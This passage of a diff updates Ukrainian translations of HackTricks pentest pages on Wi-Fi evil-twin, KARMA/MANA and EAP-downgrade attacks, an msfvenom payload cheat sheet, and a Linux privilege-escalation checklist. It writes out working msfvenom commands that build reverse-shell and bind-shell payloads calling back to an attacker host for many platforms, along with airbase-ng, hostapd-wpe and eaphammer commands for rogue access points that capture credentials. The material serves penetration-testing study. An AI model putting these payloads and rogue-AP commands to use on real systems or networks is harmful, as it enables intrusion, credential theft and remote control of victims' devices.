* **Роумінг клієнтів і маніпуляція з'єднанням**: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESS. Зловмисники можуть скористатися цим, заманюючи пристрій відключитися від його поточної базової станції та підключитися до зловмисної. Це можна досягти, запропонувавши сильніший сигнал або порушивши з'єднання з легітимною точкою доступу за допомогою методів, таких як пакети деавтентифікації або джемінг.
|
||||
* **Виклики в реалізації**: Успішне виконання атаки "злий близнюк" в умовах з кількома, добре розташованими точками доступу може бути складним. Деавтентифікація однієї легітимної точки доступу часто призводить до того, що пристрій підключається до іншої легітимної точки доступу, якщо зловмисник не може деавтентифікувати всі сусідні точки доступу або стратегічно розмістити зловмисну точку доступу.
|
||||
* **Складність у розрізненні**: Пристрої мають труднощі у відрізненні легітимних і зловмисних точок доступу, коли вони мають однаковий ESSID і тип шифрування. Реальні мережі часто використовують кілька точок доступу з однаковим ESSID для безшовного розширення покриття.
|
||||
* **Переміщення клієнтів і маніпуляція з'єднанням**: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESS. Зловмисники можуть скористатися цим, заманюючи пристрій відключитися від його поточної базової станції та підключитися до зловмисної. Це можна досягти, запропонувавши сильніший сигнал або порушивши з'єднання з легітимною точкою доступу за допомогою методів, таких як пакети деавтентифікації або джемінг.
|
||||
* **Виклики в реалізації**: Успішне виконання атаки "злий близнюк" в середовищах з кількома, добре розташованими точками доступу може бути складним. Деавтентифікація однієї легітимної точки доступу часто призводить до того, що пристрій підключається до іншої легітимної точки доступу, якщо зловмисник не може деавтентифікувати всі сусідні точки доступу або стратегічно розмістити зловмисну точку доступу.
|
||||
|
||||
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
|
||||
Ви можете створити дуже базовий Open Evil Twin (без можливостей маршрутизації трафіку в Інтернет) роблячи:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
|
@ -557,7 +559,7 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|||
|
||||
Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач підключиться вручну до вашого відкритого evil twin, або ви можете DoS реальний AP і використовувати WPA Evil Twin для захоплення хендшейку (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але ви можете захопити хендшейк і спробувати його зламати).
|
||||
|
||||
_Деякі ОС та AV попередять користувача, що підключення до відкритої мережі небезпечне..._
|
||||
_Деякі ОС та AV попередять користувача, що підключення до відкритої мережі є небезпечним..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
|
@ -576,7 +578,7 @@ _Деякі ОС та AV попередять користувача, що пі
|
|||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
У файлі конфігурації ви можете вибрати багато різних параметрів, таких як ssid, канал, файли користувачів, cret/key, dh параметри, версія wpa та auth...
|
||||
У файлі конфігурації ви можете вибрати багато різних параметрів, таких як ssid, канал, файли користувачів, cret/key, dh параметри, wpa версія та auth...
|
||||
|
||||
[**Використання hostapd-wpe з EAP-TLS для дозволу будь-якого сертифіката для входу.**](evil-twin-eap-tls.md)
|
||||
|
||||
|
@ -592,19 +594,19 @@ hostapd-wpe ./victim/victim.conf -s
|
|||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Це стандартна методологія для уникнення тривалих часів підключення. Однак ви також можете вказати серверу методи автентифікації від найслабшого до найсильнішого:
|
||||
Це стандартна методологія для уникнення тривалих часів підключення. Однак ви також можете вказати серверу методи аутентифікації від найслабшого до найсильнішого:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
Або ви також можете використовувати:
|
||||
|
||||
* `--negotiate gtc-downgrade` для використання високоефективної реалізації GTC downgrade (паролі в чистому вигляді)
|
||||
* `--negotiate gtc-downgrade` для використання високоефективної реалізації GTC з пониженням (паролі у відкритому вигляді)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` для ручного зазначення запропонованих методів (пропонуючи ті ж методи автентифікації в тому ж порядку, що й організація, атака буде набагато важче виявити).
|
||||
* [Знайдіть більше інформації у вікі](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Використання Airgeddon**
|
||||
|
||||
`Airgeddon` може використовувати раніше згенеровані сертифікати для пропозиції EAP автентифікації для мереж WPA/WPA2-Enterprise. Фальшива мережа знизить протокол з'єднання до EAP-MD5, щоб вона могла **захопити користувача та MD5 пароля**. Пізніше зловмисник може спробувати зламати пароль.\
|
||||
`Airgeddon` може використовувати раніше згенеровані сертифікати для пропозиції EAP автентифікації для мереж WPA/WPA2-Enterprise. Фальшива мережа знизить протокол з'єднання до EAP-MD5, щоб мати можливість **захопити користувача та MD5 пароля**. Пізніше зловмисник може спробувати зламати пароль.\
|
||||
`Airgeddon` пропонує вам можливість **безперервної атаки Evil Twin (гучної)** або **лише створити Evil Attack, поки хтось не підключиться (плавно).**
|
||||
|
||||
![](<../../.gitbook/assets/image (936).png>)
|
||||
|
@ -614,7 +616,7 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|||
_Цей метод був протестований у з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS_
|
||||
|
||||
У **конфігурації** _hostapd-wpe_ **закоментуйте** рядок, що містить _**dh\_file**_ (з `dh_file=/etc/hostapd-wpe/certs/dh` на `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Це змусить `hostapd-wpe` **обмінюватися ключами за допомогою RSA** замість DH, тому ви зможете **розшифрувати** трафік пізніше, **знаючи приватний ключ серверів**.
|
||||
Це змусить `hostapd-wpe` **обмінюватися ключами за допомогою RSA** замість DH, тому ви зможете **розшифрувати** трафік пізніше, **знаючи приватний ключ сервера**.
|
||||
|
||||
Тепер запустіть **Evil Twin**, використовуючи **`hostapd-wpe`** з цією модифікованою конфігурацією, як зазвичай. Також запустіть **`wireshark`** в **інтерфейсі**, який виконує атаку Evil Twin.
|
||||
|
||||
|
@ -635,13 +637,13 @@ _Цей метод був протестований у з'єднанні PEAP,
|
|||
Різні типи списків фільтрації доступу до медіа (MFACLs) та їх відповідні режими та ефекти на поведінку зловмисної точки доступу (AP):
|
||||
|
||||
1. **Список білих MAC-адрес**:
|
||||
* Зловмисна AP відповідатиме лише на запити проби від пристроїв, зазначених у білому списку, залишаючись невидимою для всіх інших, хто не вказаний.
|
||||
* Зловмисна AP відповідатиме лише на запити проби від пристроїв, зазначених у білому списку, залишаючись невидимою для всіх інших, хто не зазначений.
|
||||
2. **Список чорних MAC-адрес**:
|
||||
* Зловмисна AP ігноруватиме запити проби від пристроїв у чорному списку, ефективно роблячи зловмисну AP невидимою для цих конкретних пристроїв.
|
||||
3. **Список білих SSID**:
|
||||
* Зловмисна AP відповідатиме на запити проби лише для конкретних ESSID, зазначених у списку, роблячи її невидимою для пристроїв, чиї списки переважних мереж (PNL) не містять цих ESSID.
|
||||
4. **Список чорних SSID**:
|
||||
* Зловмисна AP не відповідатиме на запити проби для конкретних ESSID у чорному списку, роблячи її невидимою для пристроїв, які шукають ці конкретні мережі.
|
||||
* Зловмисна AP не відповідатиме на запити проби для конкретних ESSID у чорному списку, роблячи її невидимою для пристроїв, що шукають ці конкретні мережі.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
|
@ -663,11 +665,11 @@ name3
|
|||
```
|
||||
### KARMA
|
||||
|
||||
Цей метод дозволяє **зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі запити на сканування** від пристроїв, що намагаються підключитися до мереж. Ця техніка **обманює пристрої, змушуючи їх підключатися до AP зловмисника**, імітуючи мережі, які пристрої шукають. Коли пристрій надсилає запит на підключення до цієї підробленої AP, воно завершує підключення, що призводить до помилкового підключення пристрою до мережі зловмисника.
|
||||
Цей метод дозволяє **зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі запити на сканування** від пристроїв, що намагаються підключитися до мереж. Ця техніка **обманює пристрої, змушуючи їх підключатися до AP зловмисника**, імітуючи мережі, які пристрої шукають. Коли пристрій надсилає запит на підключення до цієї підробленої AP, з'єднання завершується, що призводить до помилкового підключення пристрою до мережі зловмисника.
|
||||
|
||||
### MANA
|
||||
|
||||
Потім **пристрої почали ігнорувати непрохані мережеві відповіді**, зменшуючи ефективність початкової атаки karma. Однак новий метод, відомий як **атака MANA**, був представлений Іаном де Віллієрсом і Домініком Уайтом. Цей метод передбачає, що підроблена AP **захоплює Списки Бажаних Мереж (PNL) з пристроїв, відповідаючи на їхні широкомовні запити на сканування** з іменами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обминає захисти проти початкової атаки karma, експлуатуючи спосіб, яким пристрої запам'ятовують і пріоритизують відомі мережі.
|
||||
Потім **пристрої почали ігнорувати непрохані мережеві відповіді**, зменшуючи ефективність початкової атаки karma. Однак новий метод, відомий як **атака MANA**, був представлений Іаном де Віллієром і Домініком Уайтом. Цей метод передбачає, що підроблена AP **захоплює списки уподобаних мереж (PNL) з пристроїв, відповідаючи на їхні широкомовні запити на сканування** з іменами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обходить захисти проти початкової атаки karma, експлуатуючи спосіб, яким пристрої запам'ятовують і пріоритизують відомі мережі.
|
||||
|
||||
Атака MANA працює, моніторячи як спрямовані, так і широкомовні запити на сканування з пристроїв. Для спрямованих запитів вона записує MAC-адресу пристрою та запитуване ім'я мережі, додаючи цю інформацію до списку. Коли отримується широкомовний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спонукаючи пристрій підключитися до підробленої AP.
|
||||
```bash
|
||||
|
@ -675,15 +677,15 @@ name3
|
|||
```
|
||||
### Loud MANA
|
||||
|
||||
А **Loud MANA атака** є просунутим методом, коли пристрої не використовують направлене опитування або коли їхні списки уподобаних мереж (PNL) невідомі атакуючому. Вона працює на принципі, що **пристрої в одній і тій же області, ймовірно, ділять деякі імена мереж у своїх PNL**. Замість того, щоб відповідати вибірково, ця атака транслює відповіді на запити для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій розпізнає знайому мережу і спробує підключитися до підробленої точки доступу (AP).
|
||||
А **Loud MANA атака** є просунутою стратегією для випадків, коли пристрої не використовують спрямоване опитування або коли їхні списки уподобаних мереж (PNL) невідомі атакуючому. Вона працює на принципі, що **пристрої в одній і тій же області, ймовірно, мають спільні назви мереж у своїх PNL**. Замість того, щоб відповідати вибірково, ця атака транслює відповіді на запити для кожної назви мережі (ESSID), знайденої в об'єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує шанси на те, що пристрій розпізнає знайому мережу і спробує підключитися до підробленої точки доступу (AP).
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
Коли **Loud MANA attack** може бути недостатнім, **Known Beacon attack** пропонує інший підхід. Цей метод **брутфорсить процес підключення, імітуючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSID, отриманих з словника**. Це імітує наявність численних мереж, сподіваючись знайти ESSID у PNL жертви, що спонукає до спроби підключення до сфабрикованого AP. Атаку можна посилити, поєднавши її з опцією `--loud` для більш агресивної спроби захоплення пристроїв.
|
||||
Коли **Loud MANA attack** може бути недостатнім, **Known Beacon attack** пропонує інший підхід. Цей метод **брутфорсить процес підключення, імітуючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSID, отриманих з словника**. Це імітує наявність численних мереж, сподіваючись знайти ESSID у PNL жертви, що спонукає до спроби підключення до сфабрикованого AP. Атаку можна посилити, поєднуючи її з опцією `--loud` для більш агресивної спроби захоплення пристроїв.
|
||||
|
||||
Eaphammer реалізував цю атаку як MANA attack, де всі ESSID у списку заряджаються (ви також можете поєднати це з `--loud`, щоб створити Loud MANA + Known beacons attack):
|
||||
Eaphammer реалізував цю атаку як MANA attack, де всі ESSID у списку активуються (ви також можете поєднати це з `--loud`, щоб створити Loud MANA + Known beacons attack):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
@ -700,7 +702,7 @@ Eaphammer реалізував цю атаку як MANA attack, де всі ESS
|
|||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** - це протокол, який дозволяє пристроям з'єднуватися безпосередньо один з одним за допомогою Wi-Fi без необхідності в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує безпосередню комунікацію між пристроями. Помітною особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
|
||||
**Wi-Fi Direct** — це протокол, що дозволяє пристроям з'єднуватися безпосередньо один з одним за допомогою Wi-Fi без необхідності в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує безпосередню комунікацію між пристроями. Помітною особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
|
||||
|
||||
Безпека для з'єднань Wi-Fi Direct забезпечується через **Wi-Fi Protected Setup (WPS)**, який підтримує кілька методів для безпечного спарювання, включаючи:
|
||||
|
||||
|
@ -712,7 +714,7 @@ Eaphammer реалізував цю атаку як MANA attack, де всі ESS
|
|||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking** - це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію атаки Evil Twin, але націлюється на з'єднання Wi-Fi Direct. У цьому сценарії зловмисник видає себе за законного власника групи з метою обманути пристрої, щоб вони підключилися до шкідливого об'єкта. Цей метод можна виконати за допомогою інструментів, таких як `airbase-ng`, вказавши канал, ESSID та MAC-адресу підробленого пристрою:
|
||||
**EvilDirect Hijacking** — це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію атаки Evil Twin, але націлюється на з'єднання Wi-Fi Direct. У цьому сценарії зловмисник видає себе за законного власника групи з метою обманути пристрої, щоб вони підключилися до шкідливого об'єкта. Цей метод можна виконати за допомогою інструментів, таких як `airbase-ng`, вказавши канал, ESSID та MAC-адресу підробленого пристрою:
|
||||
|
||||
## References
|
||||
|
||||
|
@ -727,34 +729,34 @@ Eaphammer реалізував цю атаку як MANA attack, де всі ESS
|
|||
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Ознайомтеся з [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (вхід через facebook та імітація WPA в захоплених порталах)
|
||||
TODO: Ознайомтеся з [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (вхід через facebook та імітація WPA в каптивних порталах)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Hacking Insights**\
|
||||
Залучайтеся до контенту, який занурює у захоплення та виклики хакерства
|
||||
Залучайтеся до контенту, що занурюється в захоплення та виклики хакерства
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
|
||||
|
||||
**Latest Announcements**\
|
||||
Будьте в курсі нових програм винагород за баги та важливих оновлень платформ
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -36,7 +36,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
|
||||
|
||||
Також можна використовувати `-a`, щоб вказати архітектуру, або `--platform`
|
||||
One can also use the `-a` to specify the architecture or the `--platform`
|
||||
|
||||
## Listing
|
||||
```bash
|
||||
|
@ -67,6 +67,8 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Створити користувача
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -102,9 +104,9 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Linux Пейлоади
|
||||
## Linux Payloads
|
||||
|
||||
### Реверс Шелл
|
||||
### Зворотний Шелл
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -119,8 +121,6 @@ msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
|||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### SunOS (Solaris)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -129,9 +129,9 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## **MAC Payloads**
|
||||
## **MAC Пейлоади**
|
||||
|
||||
### **Зворотний шелл:**
|
||||
### **Зворотний Шелл:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -195,7 +195,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w
|
|||
```bash
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||
```
|
||||
## **Скриптові мови навантаження**
|
||||
## **Скриптові мови вантажі**
|
||||
|
||||
### **Perl**
|
||||
|
||||
|
@ -203,28 +203,24 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Python**
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Bash**
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
|
||||
**Новини про хакінг у реальному часі**\
|
||||
**Новини про хакінг в реальному часі**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
|
@ -241,8 +237,8 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
|||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи в телеграмі**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -58,8 +58,8 @@
|
|||
|
||||
* [ ] Чи є **невідоме програмне забезпечення, що працює**?
|
||||
* [ ] Чи працює якесь програмне забезпечення з **більшими привілеями, ніж повинно**?
|
||||
* [ ] Шукати **вразливості запущених процесів** (особливо версії, що працює).
|
||||
* [ ] Чи можете ви **модифікувати бінарний файл** будь-якого запущеного процесу?
|
||||
* [ ] Шукати **вразливості працюючих процесів** (особливо версії, що працює).
|
||||
* [ ] Чи можете ви **модифікувати бінарний файл** будь-якого працюючого процесу?
|
||||
* [ ] **Моніторити процеси** і перевірити, чи працює якийсь цікавий процес часто.
|
||||
* [ ] Чи можете ви **читати** деяку цікаву **пам'ять процесу** (де можуть зберігатися паролі)?
|
||||
|
||||
|
@ -93,7 +93,7 @@
|
|||
### [Мережа](privilege-escalation/#network)
|
||||
|
||||
* [ ] Перерахувати мережу, щоб знати, де ви знаходитесь
|
||||
* [ ] **Відкриті порти, до яких ви не могли отримати доступ раніше**, потрапивши в оболонку всередині машини?
|
||||
* [ ] **Відкриті порти, до яких ви не могли отримати доступ раніше** отримавши оболонку всередині машини?
|
||||
* [ ] Чи можете ви **перехоплювати трафік** за допомогою `tcpdump`?
|
||||
|
||||
### [Користувачі](privilege-escalation/#users)
|
||||
|
@ -107,11 +107,11 @@
|
|||
|
||||
### [Записуваний PATH](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
* [ ] Якщо у вас є **права запису над якоюсь папкою в PATH**, ви можете підвищити привілеї
|
||||
* [ ] Якщо у вас є **права на запис у деяку папку в PATH**, ви можете підвищити привілеї
|
||||
|
||||
### [Команди SUDO та SUID](privilege-escalation/#sudo-and-suid)
|
||||
|
||||
* [ ] Чи можете ви виконати **будь-яку команду з sudo**? Чи можете ви використовувати його для ЧИТАННЯ, ЗАПИСУ або ВИКОНАННЯ чого-небудь як root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Чи можете ви виконати **будь-яку команду з sudo**? Чи можете ви використовувати його для ЧИТАННЯ, ЗАПИСУ або ВИКОНАННЯ чогось як root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Чи є якийсь **вразливий SUID бінарний файл**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Чи [**обмежені** команди **sudo** **шляхом**? Чи можете ви **обійти** обмеження](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] [**Sudo/SUID бінарний файл без вказаного шляху**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
|
@ -125,11 +125,11 @@
|
|||
|
||||
### [Можливості](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] Чи має будь-який бінарний файл **неочікувану можливість**?
|
||||
* [ ] Чи має якийсь бінарний файл **неочікувану можливість**?
|
||||
|
||||
### [ACL](privilege-escalation/#acls)
|
||||
|
||||
* [ ] Чи має будь-який файл **неочікуваний ACL**?
|
||||
* [ ] Чи має якийсь файл **неочікуваний ACL**?
|
||||
|
||||
### [Відкриті сесії оболонки](privilege-escalation/#open-shell-sessions)
|
||||
|
||||
|
@ -143,14 +143,14 @@
|
|||
|
||||
### [Цікаві файли](privilege-escalation/#interesting-files)
|
||||
|
||||
* [ ] **Файли профілю** - Читати чутливі дані? Записувати для privesc?
|
||||
* [ ] **passwd/shadow файли** - Читати чутливі дані? Записувати для privesc?
|
||||
* [ ] **Файли профілю** - Чи можна прочитати чутливі дані? Записати для підвищення привілеїв?
|
||||
* [ ] **Файли passwd/shadow** - Чи можна прочитати чутливі дані? Записати для підвищення привілеїв?
|
||||
* [ ] **Перевірити загально цікаві папки** на наявність чутливих даних
|
||||
* [ ] **Дивні місця/власні файли**, до яких ви можете отримати доступ або змінити виконувані файли
|
||||
* [ ] **Змінені** за останні хвилини
|
||||
* [ ] **Sqlite DB файли**
|
||||
* [ ] **Змінено** за останні хвилини
|
||||
* [ ] **Файли Sqlite DB**
|
||||
* [ ] **Сховані файли**
|
||||
* [ ] **Скрипти/Бінарники в PATH**
|
||||
* [ ] **Скрипти/бінарники в PATH**
|
||||
* [ ] **Веб файли** (паролі?)
|
||||
* [ ] **Резервні копії**?
|
||||
* [ ] **Відомі файли, що містять паролі**: Використовуйте **Linpeas** та **LaZagne**
|
||||
|
@ -159,8 +159,8 @@
|
|||
